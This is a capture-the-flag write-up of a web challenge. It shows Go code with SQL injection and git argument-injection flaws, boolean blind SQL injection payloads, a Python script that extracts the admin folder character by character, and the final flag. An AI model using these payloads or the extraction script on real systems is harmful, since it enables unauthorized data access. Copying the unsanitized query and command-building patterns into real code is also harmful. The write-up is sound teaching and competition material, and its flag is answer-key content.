By: mr_mph
As we can see from the entrypoint.sh
script the flag is in scratchpad.txt of admin user.
sqlite3 "$DB_PATH" <<EOF
CREATE TABLE IF NOT EXISTS users (username TEXT PRIMARY KEY, password TEXT, folder TEXT, filename TEXT);
INSERT INTO users (username, password, folder, filename) VALUES ('admin', 'temppassword', '$FOLDER','scratchpad.txt');
EOF
First thing we find is that the revision endpoint runs a command using user input directly.
func handleRevision(w http.ResponseWriter, r *http.Request) {
var req RevisionRequest
claims, err := getClaims(r)
if err != nil {
http.Error(w, "Unauthorized", 401)
return
}
folder := claims["folder"].(string)
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", 400)
return
}
args := strings.Split(req.Action, " ")
args = append(args, fmt.Sprintf("%s:scratchpad.txt", req.Hash))
cmd := exec.Command("git", args...)
cmd.Dir = filepath.Join("data", folder)
out, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, string(out), 500)
return
}
w.Write(out)
}
the git command is assembled with user input in the form of json like git <action> <hash>:scratchpad.txt
. Because git can access files in other directories with directory traversal, it looks like we could access the admin directory once we know the path to it by doing this:
{
"action": "-C ../<admin dir> show",
"hash": "HEAD~1"
}
command becomes: git -C ../<admin directory> show HEAD~1:scratchpad.txt
We check HEAD~1 because that’s the commit before the last commit. In the admin’s setup, there are two commits and we want to refer to the first which has the flag:
cd "$FOLDER_PATH"
git init
echo "$FLAG" > scratchpad.txt
git add scratchpad.txt
git commit -m "Add flag" # 1st commit
echo "" > scratchpad.txt
git add scratchpad.txt
git commit -m "Blank file" # 2nd commit
cd -
Unfortunately for us, the folder name is a random UUID per user each time. So we can’t immediately exploit this
folder := uuid.NewString()
Looking around, we can find that there is sql injection in the username_check endpoint. This can help us find the randomly generated admin directory!
func usernameCheckHandler(w http.ResponseWriter, r *http.Request) {
username := strings.ToLower(r.URL.Query().Get("username"))
row := db.QueryRow(fmt.Sprintf("SELECT 1 FROM users WHERE username = '%s'", username))
var dummy int
err := row.Scan(&dummy)
json.NewEncoder(w).Encode(map[string]bool{"good": err == sql.ErrNoRows})
}
User input is added to the query using a format string, which does not sanitize input!
After some testing, we find it is indeed leaking the database to us but with only boolean output.
To verify that we can extract data about the folder, we can first verify it’s length with this injection:
?username=admin'AND LENGTH((SELECT folder FROM users WHERE username='admin'))=36--
this query then becomes
SELECT 1 FROM users WHERE username = 'admin'AND LENGTH((SELECT folder FROM users WHERE username='admin'))=36--'
this confirms the folder length is 36 chars. Now we can automate finding each char of the folder uuid using queries like:
SELECT 1 FROM users WHERE username = 'admin'AND SUBSTR((SELECT folder FROM users WHERE username='admin'),1,1)='a'--'
we can guess and check for each char of the folder with our boolean SQLi until we extract the full thing. Here’s script I had chatgpt make to do this:
import requests
import string
base_url = "https://yyqcjqxy.web.ctf.uscybergames.com/api/username_check"
chars = string.ascii_lowercase + string.digits + "-"
def test_condition(condition):
payload = f"admin'AND {condition}--"
response = requests.get(f"{base_url}?username={payload}")
return response.json()["good"] == False # False means condition is true
# Extract folder
folder = ""
for pos in range(1, 37): # UUID is 36 chars
for char in chars:
condition = f"SUBSTR((SELECT folder FROM users WHERE username='admin'),{pos},1)='{char}'"
if test_condition(condition):
folder += char
print(f"Position {pos}: {char} -> Current folder: {folder}")
break
else:
print(f"No character found for position {pos}")
break
print(f"Admin folder: {folder}")
output:
cool, we got the folder.
Now, we can inject the git command with our directory traversal to read the contents from the admin’s first commit!
flag: SVUSCG{4ced96b9752e7f1ee258be28567e8032}